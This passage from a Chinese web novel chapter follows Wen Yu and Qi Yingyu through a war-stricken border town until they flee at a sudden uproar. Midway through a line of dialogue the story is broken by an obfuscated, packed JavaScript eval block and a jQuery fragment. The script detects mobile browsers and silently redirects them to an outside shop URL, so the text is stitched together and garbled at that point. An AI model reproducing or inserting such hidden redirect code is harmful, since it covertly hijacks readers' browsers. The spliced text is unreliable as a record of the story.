经过整整两天的奔波,两人终于到了山脚下的小城。温聿被祁英钰拢在马背上。他仰头看城门。
城墙不大高,通体青灰,城门上方挂着被风吹日晒打磨至斑驳的三个字“广顺城”。
温聿见进城门还要检查路引,顿时心里一紧,回头望着祁英钰替她担心。
祁英钰似乎也看破了他的想法,眯着眼道:“我们寨从良了,现在属于当地良民,人家不查我。”
说着温聿被她拉去排队。
没过一会儿两人顺利通过检查,温聿许久没进城,都快忘了城镇里生活是怎样的。
在他的印象中城里应是人来人往,看起来一片欣荣,街边吆喝声不断的小贩,街头或许还有唱戏杂耍的在叫场,一群人围着热闹非凡。这些都是温聿对一座城镇的印象。
可他进城一看彻底傻眼了,印入眼帘的就是一街头讨饭的,大人,孩子都有,一个个双目无神地坐在街头。不知道这些人遭受了什么,也不清楚饿了多久,这些人就这样衣不蔽体地坐着,饿得面黄肌瘦。
他回望一眼祁英钰,惶惶问道:“虽说广顺只是小城,但何时民生变得如此贫苦了?”
祁英钰似乎也没料到:“之前城里也有乞丐,可为何过了个冬就多得满街都是?”
一旁路过的大娘听到了祁英钰的疑问,于是停在他们面前随口解释道:“这些人都是从西边的青州逃来的,听说半月前蛮子同青州军打了一仗,官府的人敲锣打鼓地说是咱们赢了。”
那个大娘指着那些人说道:“可你看这些人,谁知道是不是真的?”说完她摇了摇头离开了。
温聿听了这些话,震惊到瞠目结舌,不过短短几月,外面就发生了翻天覆地的变化。
祁英钰拧着眉,神情异常凝重,她突然拉着温聿快步往前走,步子快得让温聿有些追不上。
“祁英钰……你带我去哪儿?”
祁英钰拉着他穿过大街小巷,最后到了一家外观看起来颇有些富贵的酒楼前。只不过古怪的是,大白天的这酒楼已经打烊了。
祁英钰站在酒楼门前,脸色惨白如纸。温聿皱着眉头看她,也不知道到底怎么回事。
又见她随手拦下一个大爷,着急问道:“大爷,这醉花楼打烊多久了?”
大爷抬起耳朵努力听着,过好一会儿才哑着嗓子说道:“哦……像是有两日了.”
祁英钰六神无主地重复:“两日!”
温聿一脸不解问道:“两日怎么了?”
祁英钰还未回答,一旁的大爷继续说道:“这两天不知道怎么回事,城里有名的大铺面全打烊了。”
温聿或许是被城内凄苦冷清的氛围感染了,听他这么说心里隐隐不安起来。
那大爷走后,祁英钰面无表情地问他:“青州军前脚同蛮子打了仗,后脚广顺城里老板们就跑了,难道不诡异吗?”
温聿望着祁英钰眨了眨眼,经她这么一说,他心底生出一个猜想令他不寒而栗。
他咽了口唾沫,眼中满是不可置信:“难道青州军的捷报……”
祁英钰望向远处,眸光晦暗:“不一定,战场上很复杂,胜败也不是一场战争就可以定夺的。”
“不管青州军的战况如何,这里不宜久留,温聿我们得尽快走了。”
温聿委屈巴巴地说道:“那我们又要早分离一日。”
“那些老板都跑两天了,他们定是打听到了什么风声,这里真的一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17710243|208061||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
刻都耽误不得。”
他杵在原地不肯动,这几日赶路,他几乎没怎么好好休息身体已是很疲惫了,再者是他真的舍不得祁英钰。
祁英钰拽着他,又拖又拉,温聿就差躺地上了,她耐性哄道:“听话!温聿,命更要紧。”
听话!他怎么没有听话?他只不过是想和祁英钰多待一会儿罢了,怎么就那么倒霉碰到这些烂事!
温聿瘪着嘴,鼻头一酸,呜咽着说道:“我、真的太累了,我们就待两个时辰好不好?去吃个饭,多陪我一会儿,好不好?”
祁英钰吐出一口浊气,不忍地望着他,没过一会儿便改口道:“只待两个时辰。”说完她背起温聿,走去牵了马。
祁英钰走着走着,温聿才发觉她在往另一端的出城口走。
他顿时心口一涩,连五脏六腑都快被突然涌出的情绪酸透了:“你就这么急?就这么迫不及待想把我送走?”
祁英钰掐了一把他的屁股,吼道:“温聿别胡闹!我也是在为你的安危着想。”
温聿一边叫疼一边抹眼泪。两人就这样纠缠着到了城门附近的小食店。
灰扑扑的小店里没几样像样的吃食,可祁英钰却给他点了满满一桌菜。
温聿红着眼眶给自己舀了一个馄饨。祁英钰坐在他的对面却没看他,反倒是盯着马看,那匹马有什么好看的?今天它还格外讨人厌,在一旁不停地嘶叫。
温聿慢吞吞地咀嚼着,忽地,远处另一端城门传来一声巨响,那边异常嘈杂。祁英钰脸黑得跟锅底似的,倏地拉起他,奔向了最近的出城口。
慌乱间温聿回头一扫,才上完的菜已被掀倒在地,身旁的店家连锅勺都没放下,慌慌张张地跟着他们跑了。